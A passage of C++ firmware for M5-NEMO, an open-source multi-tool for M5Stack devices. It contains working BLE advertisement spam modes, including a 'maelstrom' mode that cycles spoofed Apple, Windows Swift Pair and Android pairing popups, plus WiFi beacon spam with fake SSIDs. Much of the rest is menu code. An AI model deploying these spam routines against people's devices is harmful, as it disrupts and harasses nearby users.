      packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm

      oAdvertisementData.addData(std::string((char *)packet, 14));
      for (int i = 0; i < sizeof packet; i ++) {
        Serial.printf("%02x", packet[i]);
      }
      Serial.println("");
    } else {
      Serial.print("AppleJuice Advertisement: ");
      if (deviceType >= 18){
        oAdvertisementData.addData(std::string((char*)data, sizeof(AppleTVPair)));
      } else {
        oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
      }
      for (int i = 0; i < sizeof(Airpods); i ++) {
        Serial.printf("%02x", data[i]);
      }      
      Serial.println("");
    }
    
    pAdvertising->setAdvertisementData(oAdvertisementData);
    pAdvertising->start();
#if defined(M5LED)
    digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus
    delay(10);
     digitalWrite(M5_LED, HIGH); //LED OFF on Stick C Plus
#endif
  }
  if (check_next_press()) {
    if (sourApple || swiftPair || androidPair || maelstrom){
      isSwitching = true;
      current_proc = 16;
      btmenu_drawmenu();
    } else {
      isSwitching = true;
      current_proc = 8;      
      aj_drawmenu();
    }
    sourApple = false;
    swiftPair = false;
    maelstrom = false;
    pAdvertising->stop(); // Bug that keeps advertising in the background. Oops.
    delay(250);
  }
}

/// CREDITS ///
void credits_setup(){
  DISP.fillScreen(WHITE);
  DISP.qrcode("https://github.com/n0xa/m5stick-nemo", 145, 40, 100, 5);
  DISP.setTextColor(BLACK, WHITE);
  DISP.setTextSize(MEDIUM_TEXT);
  DISP.setCursor(0, 25);
  DISP.print(" M5-NEMO\n");
  DISP.setTextSize(SMALL_TEXT);
  DISP.printf("  %s\n",buildver);
  DISP.println(" For M5Stack");
#if defined(STICK_C_PLUS)
  DISP.println("  StickC-Plus");
#endif
#if defined(STICK_C)
  DISP.println("  StickC");
#endif
#if defined(CARDPUTER)
  DISP.println("  Cardputer");
#endif
  DISP.println("By Noah Axon");
  DISP.setCursor(155, 5);
  DISP.println("GitHub");
  DISP.setCursor(155, 25);
  DISP.println("Source:");
  DISP.setTextColor(FGCOLOR, BGCOLOR);
}

/// WiFiSPAM ///
void wifispam_setup() {
  // create empty SSID
  for (int i = 0; i < 32; i++)
    emptySSID[i] = ' ';
  // for random generator
  randomSeed(1);

  // set packetSize
  packetSize = sizeof(beaconPacket);
  if (wpa2) {
    beaconPacket[34] = 0x31;
  } else {
    beaconPacket[34] = 0x21;
    packetSize -= 26;
  }

  //change WiFi mode
  WiFi.mode(WIFI_MODE_STA);

  // set channel
  esp_wifi_set_channel(channels[0], WIFI_SECOND_CHAN_NONE);

  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(BIG_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("WiFi Spam");
  delay(1000);
  DISP.setTextSize(TINY_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 0);
  DISP.print("WiFi Spam");
    int ct = 0;
    const char *str;
    switch(spamtype) {
    case 1:
      for(str = funnyssids; *str; ++str) ct += *str == '\n';
      DISP.printf(" - %d SSIDs:\n", ct);
      DISP.print(funnyssids);
      break;
    case 2:
      for(str = rickrollssids; *str; ++str) ct += *str == '\n';
      DISP.printf(" - %d SSIDs:\n", ct);
      DISP.print(rickrollssids);
      break;
    case 3:
      DISP.printf(" - Random SSIDs\n", ct);
      break;
  }
  DISP.setTextSize(SMALL_TEXT);
  current_proc = 11;
}

void wifispam_loop() {
  int i = 0;
  int len = 0;
#if defined(M5LED)
  digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus
  delay(1);
  digitalWrite(M5_LED, HIGH); //LED OFF on Stick C Plus
#endif
  currentTime = millis();
  if (currentTime - attackTime > 100) {
    switch(spamtype) {
      case 1:
        len = sizeof(funnyssids);
        while(i < len){
          i++;
        }
        beaconSpamList(funnyssids);
        break;
      case 2:
        len = sizeof(rickrollssids);
        while(i < len){
          i++;
        }
        beaconSpamList(rickrollssids);
        break;
      case 3:
        char* randoms = randomSSID();
        len = sizeof(randoms);
        while(i < len){
          i++;
        }
        beaconSpamList(randoms);
        break;        
    }
  }
}

void btmaelstrom_setup(){
  rstOverride = false;
  maelstrom = true;
}

void btmaelstrom_loop(){
  swiftPair = false;
  sourApple = true;
  aj_adv();
  if (maelstrom){
    swiftPair = true;
    androidPair = false;
    sourApple = false;
    aj_adv();
  }
  if (maelstrom){
    swiftPair = false;
    androidPair = true;
    sourApple = false;
    aj_adv();
  }
  if (maelstrom){
    swiftPair = false;
    androidPair = false;
    sourApple = false;
    aj_loop(); // roll a random device ID
    aj_adv();
  }
}

/// WIFI MENU ///
MENU wsmenu[] = {
  { "Back", 4},
  { "Scan Wifi", 0},
  { "Spam Funny", 1},
  { "Spam Rickroll", 2},
  { "Spam Random", 3},
};

void wsmenu_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 8, 1);
  for ( int i = 0 ; i < ( sizeof(wsmenu) / sizeof(MENU) ) ; i++ ) {
    DISP.print((cursor == i) ? ">" : " ");
    DISP.println(wsmenu[i].name);
  }
}

void wsmenu_setup() {
  cursor = 0;
  rstOverride = true;
  wsmenu_drawmenu();
  delay(500); // Prevent switching after menu loads up
}

void wsmenu_loop() {
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( sizeof(wsmenu) / sizeof(MENU) );
    wsmenu_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    int option = wsmenu[cursor].command;
    rstOverride = false;
    current_proc = 11;
    isSwitching = true;
    switch(option) {
      case 0:
        rstOverride = false;
        isSwitching = true;
        current_proc = 14;
        break;
      case 1:
        spamtype = 1;
        break;
      case 2:
        spamtype = 2;
        break;
      case 3:
        spamtype = 3;
        break;
      case 4:
        current_proc = 1;
        break;
    }
  }
}

void wscan_drawmenu() {
  char ssid[19];
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 5, 1);
  // scrolling menu
  if (cursor > 4) {
    for ( int i = 0 + (cursor - 4) ; i < wifict ; i++ ) {
      DISP.print((cursor == i) ? ">" : " ");
      DISP.println(WiFi.SSID(i).substring(0,19));
    }
  } else {
    for ( int i = 0 ; i < wifict ; i++ ) {
      DISP.print((cursor == i) ? ">" : " ");
      DISP.println(WiFi.SSID(i).substring(0,19));
    }
  }
  DISP.print((cursor == wifict) ? ">" : " ");
  DISP.println("[RESCAN]");
  DISP.print((cursor == wifict + 1) ? ">" : " ");
  DISP.println("Back");
}

void wscan_result_setup() {
  cursor = 0;
  rstOverride = true;
  wscan_drawmenu();
  delay(500); // Prevent switching after menu loads up
}

void wscan_result_loop(){
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( wifict + 2);
    wscan_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    delay(250);
    if(cursor == wifict){
      rstOverride = false;
      current_proc = 14;
    }
    if(cursor == wifict + 1){
      rstOverride = false;
      isSwitching = true;
      current_proc = 12;
    }
    String encryptType = "";
    switch (WiFi.encryptionType(cursor)) {
    case 1:
      encryptType = "WEP";
      break;
    case 2:
      encryptType = "WPA/PSK/TKIP";
      break;
    case 3:
      encryptType = "WPA/PSK/CCMP";
      break;
    case 4:
      encryptType = "WPA2/PSK/Mixed/CCMP";
      break;
    case 8:
      encryptType = "WPA/WPA2/PSK";
      break ;
    case 0:
      encryptType = "Open";
      break ;
    }
    
    DISP.setTextSize(MEDIUM_TEXT);
    if(WiFi.SSID(cursor).length() > 12){
      DISP.setTextSize(SMALL_TEXT);
    }       
    DISP.fillScreen(BGCOLOR);
    DISP.setCursor(5, 1);
    DISP.println(WiFi.SSID(cursor));
    DISP.setTextSize(SMALL_TEXT);
    DISP.printf("Chan : %d\n", WiFi.channel(cursor));
    DISP.printf("Crypt: %s\n", encryptType);
    DISP.print("BSSID:\n" + WiFi.BSSIDstr(i));
    DISP.printf("\nNext: Back\n");
  }
}

void wscan_setup(){
  rstOverride = false;  
  cursor = 0;
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(BIG_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("WiFi Scan");
  delay(2000);
}

void wscan_loop(){
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(MEDIUM_TEXT);
  DISP.setCursor(5, 1);
  DISP.println("Scanning...");
  wifict = WiFi.scanNetworks();
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(SMALL_TEXT);
  DISP.setCursor(5, 1);
  if(wifict > 0){
    isSwitching = true;
    current_proc=15;
  }
}

void bootScreen(){
  // Boot Screen
  DISP.fillScreen(BGCOLOR);
  DISP.setTextSize(BIG_TEXT);
  DISP.setCursor(40, 0);
  DISP.println("M5-NEMO");
  DISP.setCursor(10, 30);
  DISP.setTextSize(SMALL_TEXT);
  DISP.printf("%s-%s\n",buildver,platformName);
#if defined(CARDPUTER)
  DISP.println("Next: Down Arrow");
  DISP.println("Prev: Up Arrow");
  DISP.println("Sel : Enter or ->");
  DISP.println("Home: Esc   or <- ");
  DISP.println("         Press a key");
  while(true){
    M5Cardputer.update();
    if (M5Cardputer.Keyboard.isChange()) {
      mmenu_drawmenu();
      delay(250);
      break;
    }
  }
#else
  DISP.println("Next: Side Button");
  DISP.println("Sel : M5 Button");
  DISP.println("Home: Power Button");
  delay(3000);
#endif
}

void qrmenu_drawmenu() {
  DISP.setTextSize(SMALL_TEXT);
  DISP.fillScreen(BGCOLOR);
  DISP.setCursor(0, 8, 1);
  for ( int i = 0 ; i < ( sizeof(qrcodes) / sizeof(QRCODE) ) ; i++ ) {
    DISP.print((cursor == i) ? ">" : " ");
    DISP.println(qrcodes[i].name);
  }
}

void qrmenu_setup() {
  cursor = 0;
  rstOverride = true;
  qrmenu_drawmenu();
  delay(500); // Prevent switching after menu loads up
}

void qrmenu_loop() {
  if (check_next_press()) {
    cursor++;
    cursor = cursor % ( sizeof(qrcodes) / sizeof(QRCODE) );
    qrmenu_drawmenu();
    delay(250);
  }
  if (check_select_press()) {
    if(qrcodes[cursor].url.length() == 0){
      rstOverride = false;
      isSwitching = true;
      current_proc = 1;
    }else{
      DISP.fillScreen(WHITE);
      DISP.qrcode(qrcodes[cursor].url, 0, 0, 80, 5);
    }
  }
}

/// ENTRY ///
void setup() {
#if defined(CARDPUTER)
  auto cfg = M5.config();
  M5Cardputer.begin(cfg, true);
  pinMode(38, OUTPUT); // Backlight analogWrite range ~150 - 255
#else
  M5.begin();
#endif
  #if defined(USE_EEPROM)
    EEPROM.begin(EEPROM_SIZE);
    Serial.printf("EEPROM 0: %d\n", EEPROM.read(0));
    Serial.printf("EEPROM 1: %d\n", EEPROM.read(1));
    Serial.printf("EEPROM 2: %d\n", EEPROM.read(2));
    Serial.printf("EEPROM 3: %d\n", EEPROM.read(3));
    if(EEPROM.read(0) > 3 || EEPROM.read(1) > 30 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
      // Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything
      Serial.println("EEPROM likely not properly configured. Writing defaults.");
      #if defined(CARDPUTER)
      EEPROM.write(0, 1);    // Right rotation for cardputer
      #else
      EEPROM.write(0, 3);    // Left rotation
      #endif
      EEPROM.write(1, 15);   // 15 second auto dim time
      EEPROM.write(2, 100);  // 100% brightness
      EEPROM.write(3, 0); // TVBG NA Region
      EEPROM.commit();
    }
    rotation = EEPROM.read(0);
    screen_dim_time = EEPROM.read(1);
    brightness = EEPROM.read(2);
    region = EEPROM.read(3);
  #endif
  screenBrightness(brightness);
  dimtimer();
  DISP.setRotation(rotation);
  DISP.setTextColor(FGCOLOR, BGCOLOR);
  bootScreen();

  // Pin setup
#if defined(M5LED)
  pinMode(M5_LED, OUTPUT);
  digitalWrite(M5_LED, HIGH); //LEDOFF
#endif
#if !defined(KB)
  pinMode(M5_BUTTON_HOME, INPUT);
  pinMode(M5_BUTTON_RST, INPUT);
#endif
#if defined(M5_BUTTON_MENU)
  pinMode(M5_BUTTON_MENU, INPUT);
#endif
  // Random seed
  randomSeed(analogRead(0));

  // Create the BLE Server
  BLEDevice::init("");
  BLEServer *pServer = BLEDevice::createServer();
  pAdvertising = pServer->getAdvertising();
  BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();

  // Finish with time to show logo
}

void loop() {
  // This is the code to handle running the main loops
  // Background processes
  switcher_button_proc();
  screen_dim_proc();
  check_menu_press();
  
  // Switcher
  if (isSwitching) {
    isSwitching = false;
    switch (current_proc) {
#if defined(RTC)
      case 0:
        clock_setup();
        break;
#endif
      case 1:
        mmenu_setup();
        break;
      case 2:
        smenu_setup();
        break;
#if defined(RTC)
      case 3:
        timeset_setup();
        break;
#endif
      case 4:
        dmenu_setup();
        break;
      case 5:
        tvbgone_setup();
        break;
#if defined(AXP)
      case 6:
        battery_setup();
        break;
#endif
#if defined(ROTATION)
      case 7:
        rmenu_setup();
        break;
#endif
      case 8:
        aj_setup();
        break;
      case 9:
        aj_adv_setup();
        break;
      case 10:
        credits_setup();
        break;
      case 11:
        wifispam_setup();
        break;
      case 12:
        wsmenu_setup();
        break;
      case 13:
        tvbgmenu_setup();
        break;
      case 14:
        wscan_setup();
        break;
      case 15:
        wscan_result_setup();
        break;
      case 16:
        btmenu_setup();
        break;
      case 17:
        btmaelstrom_setup();
        break;
      case 18:
        qrmenu_setup();
        break;

    }
  }

  switch (current_proc) {
#if defined(RTC)
    case 0:
      clock_loop();
      break;
#endif
    case 1:
      mmenu_loop();
      break;
    case 2:
      smenu_loop();
      break;
#if defined(RTC)
    case 3:
      timeset_loop();
      break;
#endif
    case 4:
      dmenu_loop();
      break;
    case 5:
      tvbgone_loop();
      break;
#if defined(AXP)
    case 6:
      battery_loop();
      break;
#endif
#if defined(ROTATION)
    case 7:
      rmenu_loop();
      break;
#endif
    case 8:
      aj_loop();
      break;
    case 9:
      aj_adv();
      break;
    case 10:
      // noop - just let the credits stay on screen
      break;
    case 11:
      wifispam_loop();
      break;
    case 12:
      wsmenu_loop();
      break;
    case 13:
      tvbgmenu_loop();
      break;
    case 14:
      wscan_loop();
      break;
    case 15:
      wscan_result_loop();
      break;
    case 16:
      btmenu_loop();
      break;
    case 17:
      btmaelstrom_loop();
      break;
    case 18:
      qrmenu_loop();
      break;
  }
}